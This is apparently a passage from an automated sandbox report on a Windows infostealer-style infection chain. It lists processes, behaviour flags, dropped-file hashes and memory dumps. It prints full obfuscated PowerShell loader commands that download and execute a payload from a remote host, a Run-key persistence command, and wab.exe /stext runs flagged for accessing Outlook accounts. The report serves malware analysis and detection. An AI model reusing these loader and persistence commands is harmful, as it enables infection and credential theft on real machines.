c,o lB C=, B[HN e t..ESBe cSuSrFiStkyBPjr,o,t.o,cRo lUT y.p,eA] : :DT.lFsM1 2. ');$Bestemmelsesstedets=$Bertolonia[0];$Ghoulishness= (Alert 'S$LgPlUoRb.a.l.:AS.kMo v hSyPt t eSn 9.8.= NUe.wR- O.bAjTeBc t, S y sBt,ePm . NAeTt . WLe b C l.i eKnPt');$Ghoulishness+=$Forretningsomraader[1];Xylografien ($Ghoulishness);Xylografien (Alert '.$ STk o v.hBy t.tKe nS9.8U..HFeHa d ePrBsG[G$DbCe,l.iSe fMf,uLl nHeAsHs.].= $ Cpi g a.lSeS ');$Jacuaru=Alert 'S$ S,kBo vTh,yFt.t eUn,9 8F.UD,o.wfnNl.o,afdTF.iRl,e (C$RBTeAsVtLe m,mTeDl s e sosst eKdBe.tBs ,D$KC iTtTrmoUnNsAo m,m e,r fGuSgElMe n sI). ';$Citronsommerfuglens=$Forretningsomraader[0];Xylografien (Alert ' $SgUl,o b a.l : L,aTv.eInGdUe lSeTn =B(MT e sAtO-IPVa.tIhB B$FCBiPtSr oHngsBoSmIm.ePrPfLuFg.l.ePn sG) ');while (!$Lavendelen) {Xylografien (Alert ' $tg l,oCb,aOl :,DSuPbbl,eJe.r n eR= $NtDrSureF ') ;Xylografien $Jacuaru;Xylografien (Alert ' S tPaMrKtN- SBl e e ps ,4. ');Xylografien (Alert 'C$Dg.l oEb a lH: LPaDv eTn dieGl eOnd=P(.TOe sDtP- P.aStph B$FCFi t rDo.nUs,okmCm ePrPfYugg lAe,n sS)U ') ;Xylografien (Alert 'I$Gg.lboNbMa l :aAHn,dHr.oEcKrHa tOi.cO=A$Sg l oSb a lJ:kSCt,iAn ePsD+ +s%U$ BVeUrHtAo,l oDn,i a ..c oHu n tS ') ;$Bestemmelsesstedets=$Bertolonia[$Androcratic];}$Nonapprehensibility=372684;$Phytin=25966;Xylografien (Alert 'F$ gPl oSb a l :kD onr.t.eM1 0 3 R= FGBe tD-,C.oPnItJeLnFt. S$ C i tFr o nDsKoUm mFe r f.uBgul,eKn s ');Xylografien (Alert 'U$ gAl.oPb.aHl :HEGmFaKnscSi,pBaQtBe B=l [DSDyPsStDeSmH. CsoOnTvLeFr t,]N:B:.FSr,o,m,B a s.e,6u4RS.tNrsi,nagA(W$ DRo r t e 1H0 3S), ');Xylografien (Alert 'I$Bg lSoIbNaBl : L,iTeLnPeCcCtmoSmSiPeRsK =. .[SS yVs t,eIm..VTYe x tS. E,n c,o dIi n g ],:.: A,SOCNIPIM.BGAe,t SItHr i n g (,$UE mBa n cPiRp.aBtDeS)A ');Xylografien (Alert ' $ gPl.ombTaVl.:.SPk rov e b.e lSg nSiMn g e nF= $ L i.e,nae cEtPoSmPi eksA.GsCu b,s tCr i.nOgK(T$bNBoBnDaHpPp rPe hSe.n.sdiAb,i lMi tAy.,,$ PHh yVtBiLn )E ');Xylografien $Skrvebelgningen;"
6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1128

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\belemnoidea.Fos && echo t"
7⤵
PID:2572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte';$Stileemnets = 1;Function Alert($Catoptrical){$Dispropriate=$Catoptrical.Length-$Stileemnets;$Cohesions='SUBSTRIN';$Cohesions+='G';For( $Kaliumklorider=1;$Kaliumklorider -lt $Dispropriate;$Kaliumklorider+=2){$Commixed+=$Catoptrical.$Cohesions.Invoke( $Kaliumklorider, $Stileemnets);}$Commixed;}function Xylografien($Disharmoner){ . ($Dragemanden) ($Disharmoner);}$Cigale=Alert 'PMSomzUiRlBlOaA/B5.. 0S b(TW iSnAdVoUwCsG .NrT 1 0D.S0 ;P .WsiOnX6U4N;, .x 6L4C; r,vF:.1 2T1 . 0B)O BG,ePc k o,/ 2U0 1T0u0S1A0N1. SF.i.rme f,o xD/ 1M2F1 .,0 ';$belieffulness=Alert ' U sHeFr.-TAtg eTnGtP ';$Bestemmelsesstedets=Alert ' hKt.t pHs : / / e.v,oMl.uBxGcFoTnWt.aEbSi.l iFd aEd e .,cKo ml. b rO/.x l oKaAd /FRPuHm nSe r . xot pT ';$Voldtog=Alert 'K>N ';$Dragemanden=Alert ' iGecx, ';$Sydvestenvinds='Afdelingsingenirs183';$Anglisterne = Alert ' eAcAh o %QaVpSpEdKa tGaP%o\BbCeElSe m nPo.iSdBeMaI.OF o,s, ,& & PeDc hPod t ';Xylografien (Alert 'D$ gKl oTbBa lS: FTo r r.eBtAn i,nUg sIocmIr,aUaFdBefr =B( c.mDd. / cB ,$AA nCg l,itsKt e,r nDe ) ');Xylografien (Alert '.$bg.lCo,b aKlQ:HBJe,rBtHo.lKo nDi.a =G$ B e s t,e mKm eKlSs eCsHsSt eOd,e tBs,. sUpSlNi tP(R$,V o.l d tEo gU)R ');Xylografien (Alert ' [ NOe tZ.LS eIr.vBiAc.eSP oCi,n tcMoa.n.aagIeer ]P:D:,S ePc u.rSiot.y PfrPo tFo c,o lB C=, B[HN e t..ESBe cSuSrFiStkyBPjr,o,t.o,cRo lUT y.p,eA] : :DT.lFsM1 2. ');$Bestemmelsesstedets=$Bertolonia[0];$Ghoulishness= (Alert 'S$LgPlUoRb.a.l.:AS.kMo v hSyPt t eSn 9.8.= NUe.wR- O.bAjTeBc t, S y sBt,ePm . NAeTt . WLe b C l.i eKnPt');$Ghoulishness+=$Forretningsomraader[1];Xylografien ($Ghoulishness);Xylografien (Alert '.$ STk o v.hBy t.tKe nS9.8U..HFeHa d ePrBsG[G$DbCe,l.iSe fMf,uLl nHeAsHs.].= $ Cpi g a.lSeS ');$Jacuaru=Alert 'S$ S,kBo vTh,yFt.t eUn,9 8F.UD,o.wfnNl.o,afdTF.iRl,e (C$RBTeAsVtLe m,mTeDl s e sosst eKdBe.tBs ,D$KC iTtTrmoUnNsAo m,m e,r fGuSgElMe n sI). ';$Citronsommerfuglens=$Forretningsomraader[0];Xylografien (Alert ' $SgUl,o b a.l : L,aTv.eInGdUe lSeTn =B(MT e sAtO-IPVa.tIhB B$FCBiPtSr oHngsBoSmIm.ePrPfLuFg.l.ePn sG) ');while (!$Lavendelen) {Xylografien (Alert ' $tg l,oCb,aOl :,DSuPbbl,eJe.r n eR= $NtDrSureF ') ;Xylografien $Jacuaru;Xylografien (Alert ' S tPaMrKtN- SBl e e ps ,4. ');Xylografien (Alert 'C$Dg.l oEb a lH: LPaDv eTn dieGl eOnd=P(.TOe sDtP- P.aStph B$FCFi t rDo.nUs,okmCm ePrPfYugg lAe,n sS)U ') ;Xylografien (Alert 'I$Gg.lboNbMa l :aAHn,dHr.oEcKrHa tOi.cO=A$Sg l oSb a lJ:kSCt,iAn ePsD+ +s%U$ BVeUrHtAo,l oDn,i a ..c oHu n tS ') ;$Bestemmelsesstedets=$Bertolonia[$Androcratic];}$Nonapprehensibility=372684;$Phytin=25966;Xylografien (Alert 'F$ gPl oSb a l :kD onr.t.eM1 0 3 R= FGBe tD-,C.oPnItJeLnFt. S$ C i tFr o nDsKoUm mFe r f.uBgul,eKn s ');Xylografien (Alert 'U$ gAl.oPb.aHl :HEGmFaKnscSi,pBaQtBe B=l [DSDyPsStDeSmH. CsoOnTvLeFr t,]N:B:.FSr,o,m,B a s.e,6u4RS.tNrsi,nagA(W$ DRo r t e 1H0 3S), ');Xylografien (Alert 'I$Bg lSoIbNaBl : L,iTeLnPeCcCtmoSmSiPeRsK =. .[SS yVs t,eIm..VTYe x tS. E,n c,o dIi n g ],:.: A,SOCNIPIM.BGAe,t SItHr i n g (,$UE mBa n cPiRp.aBtDeS)A ');Xylografien (Alert ' $ gPl.ombTaVl.:.SPk rov e b.e lSg nSiMn g e nF= $ L i.e,nae cEtPoSmPi eksA.GsCu b,s tCr i.nOgK(T$bNBoBnDaHpPp rPe hSe.n.sdiAb,i lMi tAy.,,$ PHh yVtBiLn )E ');Xylografien $Skrvebelgningen;"
7⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2216

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\belemnoidea.Fos && echo t"
8⤵
PID:1320

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
8⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rollingerne" /t REG_EXPAND_SZ /d "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\overdeferential\').retoucheres;%Montuvio% ($Lkapsler)"
9⤵
- Suspicious use of WriteProcessMemory
PID:2304

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rollingerne" /t REG_EXPAND_SZ /d "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\overdeferential\').retoucheres;%Montuvio% ($Lkapsler)"
10⤵
- Adds Run key to start application
- Modifies registry key
PID:4672

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\nuxkf"
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:4112

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pocvykti"
5⤵
- Accesses Microsoft Outlook accounts
PID:4536

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\aqpnzdeccfs"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4200,i,10373433614523925616,13586256558317053467,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:8
1⤵
PID:4904

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09B406FB8A13DE24E07EA97DC21FE315
Filesize
504B

MD5
caf53bab198edafc0c1e19741633b615

SHA1
7ab640ad45c582add01583f5869b3e9b509614c2

SHA256
7121a51730b1e255f29de62d5b28245a65925745f7801fc94d8ce90f123f7856

SHA512
b549e806180b1ec3293e994cfd784fcc7285723b4eb0df465ee27d777f808236449deeb665495a361a02baf325ee2a2b22386771f536fdb50ca410f728a3d75a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Filesize
717B

MD5
822467b728b7a66b081c91795373789a

SHA1
d8f2f02e1eef62485a9feffd59ce837511749865

SHA256
af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

SHA512
bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09B406FB8A13DE24E07EA97DC21FE315
Filesize
546B

MD5
89dfc712d4d1f9d5853961ed3fbe2e38

SHA1
3a40d3f1d3e8838286a3ef7a5be9c203e963f9a2

SHA256
52510e69e8199158449b2a3d4d71d4dde816a163f95a5570593ce060b00471c8

SHA512
791154990bb35353dedbe2a7ee980d17e2c3719b22867728687924157178b735b15ba483738d52ccdf183f7fb5509fd000829696214e51a82ad5f15796f97e78

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Filesize
192B

MD5
5733b0da78d129b0f70fac8850a75eda

SHA1
91f1bc5c2ddee2bfb09f5b60d4078a4c8ad4a391

SHA256
3dd042b1cebfc9b1408679ec0026bbdabcad9a6b584dc363555f74ea9f699294

SHA512
e5fd346e6dc0d9016a11de4ce3324efe77c08d4b7310222f63b85ba65e5b1104e0a35514e8e41a2271f3c6838b08390c87be0091402727b2cd31e8deceb0bee5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
d4d8cef58818612769a698c291ca3b37

SHA1
54e0a6e0c08723157829cea009ec4fe30bea5c50

SHA256
98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

SHA512
f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\Poodle.vbs
Filesize
187KB

MD5
8cc6be5a2911ea3dc1a05c80e20ede55

SHA1
5a68267614fc4f21b949dc82def16adb1a2a7178

SHA256
7dfd8c4c8c675118ad9020c10d439d7037b6d9e8a37482f80ae821fed5b29824

SHA512
cc57268ceca2b9911b1672d18692dca2bfcb65052c8b945614f766e66ed849bf8f14aa9076f7478026144f89995c1552ac596153bde157349bcca880094a264a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1hxsmvop.kwj.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nuxkf
Filesize
4KB

MD5
91227a2f05c7f74f6ebd1535a3f05b7b

SHA1
1ce317a272d67e3ac284948e49e6bc0acaee2e6d

SHA256
2967c8bcad47ab6cb88bf5b60a3a75b49f471a943d33c9b69aa7bfe1b763cfd2

SHA512
9ff9f6d2fb2880812fce42b91388e8b825483bb2df0976b9c630c397fed68f3625f4ba32d65933de0018b6e18554315152a1df00c98313d19612403076079a40

Download Submit
C:\Users\Admin\AppData\Roaming\Repset.Kbm
Filesize
506KB

MD5
03116708e93cfa36c93535d638ba367a

SHA1
dc7cc1dd01b70f9b6b20fdcf4e4d2a1f9c95aacc

SHA256
bd0734001fbf7acdd841f07540c22fa5655192603cf980a07d1689c437eff96f

SHA512
ae2783b050aca409369cbbe18be66658b272c663f3ac10e3906d158097c4d2871d3757f20e2e8f1675dc60e023f6a7b74b712a9ebc6653b1a8645c3b7c17a731

Download Submit
C:\Users\Admin\AppData\Roaming\belemnoidea.Fos
Filesize
519KB

MD5
9cc29e9c2f524984e4ea412888fad3ab

SHA1
a3d9571861e7f334d70d82eb0c46e10f5427358e

SHA256
6b8159ea57129f319affa7fa8ca8a74bb1e59894e7c269675df3f65b3c5e3887

SHA512
d5761c80074c464327e346f2c89daed8de0691cc7d60140648f94c3d45232c035cebde895234118480abf6cdad4e187fcfb5fdd393aace83a52df62b4a493396

Download Submit
memory/1064-20-0x0000000004FD0000-0x00000000055F8000-memory.dmp

Filesize
6.2MB

Download
memory/1064-34-0x0000000005E10000-0x0000000005E2E000-memory.dmp

Filesize
120KB

Download
memory/1064-36-0x00000000074A0000-0x0000000007B1A000-memory.dmp

Filesize
6.5MB

Download
memory/1064-37-0x00000000063B0000-0x00000000063CA000-memory.dmp

Filesize
104KB

Download
memory/1064-38-0x00000000070C0000-0x0000000007156000-memory.dmp

Filesize
600KB

Download
memory/1064-39-0x0000000007050000-0x0000000007072000-memory.dmp

Filesize
136KB

Download
memory/1064-40-0x00000000080D0000-0x0000000008674000-memory.dmp

Filesize
5.6MB

Download
memory/1064-35-0x0000000005EB0000-0x0000000005EFC000-memory.dmp

Filesize
304KB

Download
memory/1064-42-0x0000000008680000-0x000000000A971000-memory.dmp

Filesize
34.9MB

Download
memory/1064-33-0x0000000005810000-0x0000000005B64000-memory.dmp

Filesize
3.3MB

Download
memory/1064-23-0x00000000057A0000-0x0000000005806000-memory.dmp

Filesize
408KB

Download
memory/1064-22-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/1064-21-0x0000000004F60000-0x0000000004F82000-memory.dmp

Filesize
136KB

Download
memory/1064-19-0x0000000004840000-0x0000000004876000-memory.dmp

Filesize
216KB

Download
memory/1128-73-0x00000000058F0000-0x0000000005C44000-memory.dmp

Filesize
3.3MB

Download
memory/1128-75-0x0000000005D90000-0x0000000005DDC000-memory.dmp

Filesize
304KB

Download
memory/2216-115-0x00000000088F0000-0x000000000E435000-memory.dmp

Filesize
91.3MB

Download
memory/2804-133-0x0000000000C00000-0x0000000006745000-memory.dmp

Filesize
91.3MB

Download
memory/2804-122-0x0000000000C00000-0x0000000006745000-memory.dmp

Filesize
91.3MB

Download
memory/3032-43-0x00007FF939003000-0x00007FF939005000-memory.dmp

Filesize
8KB

Download
memory/3032-55-0x00007FF939000000-0x00007FF939AC1000-memory.dmp

Filesize
10.8MB

Download
memory/3032-44-0x00007FF939000000-0x00007FF939AC1000-memory.dmp

Filesize
10.8MB

Download
memory/3032-5-0x00000253E5EE0000-0x00000253E5F02000-memory.dmp

Filesize
136KB

Download
memory/3032-15-0x00007FF939000000-0x00007FF939AC1000-memory.dmp

Filesize
10.8MB

Download
memory/3032-4-0x00007FF939003000-0x00007FF939005000-memory.dmp

Filesize
8KB

Download
memory/3032-16-0x00007FF939000000-0x00007FF939AC1000-memory.dmp

Filesize
10.8MB

Download
memory/4112-77-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4112-82-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4112-80-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4148-52-0x00000000024C0000-0x00000000047B1000-memory.dmp

Filesize
34.9MB

Download
memory/4148-100-0x0000000020860000-0x0000000020879000-memory.dmp

Filesize
100KB

Download
memory/4148-97-0x0000000020860000-0x0000000020879000-memory.dmp

Filesize
100KB

Download
memory/4148-101-0x0000000020860000-0x0000000020879000-memory.dmp

Filesize
100KB

Download
memory/4168-79-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4168-83-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4168-81-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4536-78-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4536-84-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download